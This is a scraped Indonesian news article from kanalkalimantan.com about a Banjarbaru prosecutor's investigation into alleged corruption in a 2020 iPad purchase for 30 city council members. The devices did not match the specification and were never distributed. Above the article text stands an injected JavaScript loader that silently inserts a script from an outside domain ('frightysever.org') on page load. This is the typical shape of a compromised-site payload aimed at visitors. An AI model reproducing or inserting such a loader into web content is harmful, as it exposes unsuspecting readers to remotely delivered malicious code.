(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dugaan korupsi pengadaan komputer tablet (IPad) di Sekretariat Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru bakal bergulir ke meja hijau.
Pengadaan IPad merk Apple Pro 11 kasusnya sedang bergulir di Kejaksaan Negeri (Kejari) Banjabaru diduga menyalahi spesifikasi. Semestinya, barang yang diadakan adalah IPad merk Apple Pro 12.
Pembelian dengan APBD Perubahan tahun anggaran 2020 pada Sekretariat DPRD itu diduga dipaksakan, sejumlah ASN di lingkungan Setwan berurusan dan sudah diperiksa pihak kejaksaan.
“Saat ini kasus sudah memasuki tahapan penyidikan. Sekitar 10 orang sudah kami panggil dengan status sebagai saksi,” ungkap Kepala Kejari Banjarbaru, Andri Irawan, Kasi Pidsus Yandi Primanandra didampingi Kasi Intel Agung, Rabu (28/4/2021).
Yandi menerangkan, pihaknya juga sudah melakukan penyitaan barang dan dokumen terkait dugaan kasus korupsi pengadaan IPad itu. Total ada 30 unit komputer tablet (IPad) yang diamankan pihak penyidik Kejaksaan.
“Tim penyidik menduga, bahwa pengadaan IPad ini, ada kemungkinan tidak sesuai spesifikasi dan tidak sesuai kontrak,” tegasnya.
Sampai saat ini kasus dugaan korupsi ini masih dilakukan pendalaman oleh penyidikan. Pihaknya juga telah meminta keterangan kepada para saksi.
Baca juga: 867 Desa di Kalsel Miliki Tim Relawan Lawan Covid-19
Ke depan Tim Penyidik Kejari Banjarbaru akan secepatnya melakukan penetapan tersangka. Hanya saja Kejari Banjarbaru masih menunggu hasil penyidikan yang dilakukan oleh tim penyidik.
Sebelumnya diberitakan, pembelian pengadaan fasilitas penunjang bagi 30 wakil rakyat itu, disiapkan Sekretariat DPRD Banjarbaru dalam APBD Perubahan tahun anggaran 2020 lalu.
Belakangan Ipad alias barang yang sudah dibeli ternyata belum diterima semua anggota DPRD Banjarbaru.
“Sampai ini kami belum ada menerima Ipad-Ipad itu,” aku Ketua DPRD Banjarbaru Fadliansyah Akbar kepada Kanalkalimantan.com, Selasa (20/4/2021).
Diakui Ketua DPRD Banjarbaru, pengadaan Ipad itu mestinya selesai pada Desember 2020 oleh Sekretariat DPRD Banjarbaru melalui RKA APBD Perubahan tahun 2020.
“Ipad-nya sejumlah 30 unit sudah ada. Tapi belum dibagikan,” sebut Fadliansyah.
Baca juga: Pj Gubernur Safrizal: Tak Ada Open House Kepala Daerah
Meski disebut barang pembelian proses lelang sudah ada di Sekretariat DPRD Banjarbaru, Ketua DPRD Banjarbaru memastikan tidak satupun anggota dewan yang saat ini menerimanya.
Sekretariat DPRD Kota Banjarbaru mengganggarkan pengadaan IPad untuk 30 anggota dewan, dengan alokasi anggaran hampir Rp 500 juta. Tapi pada pelaksanaannya anggota dewan tidak menerima barang hingga bulan April 2021. Mestinya, proses pengadaan sudah selesai pada akhir tahun 2020 lalu. (kanalkalimantan.com/al)
Reporter : al
Editor : kk
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.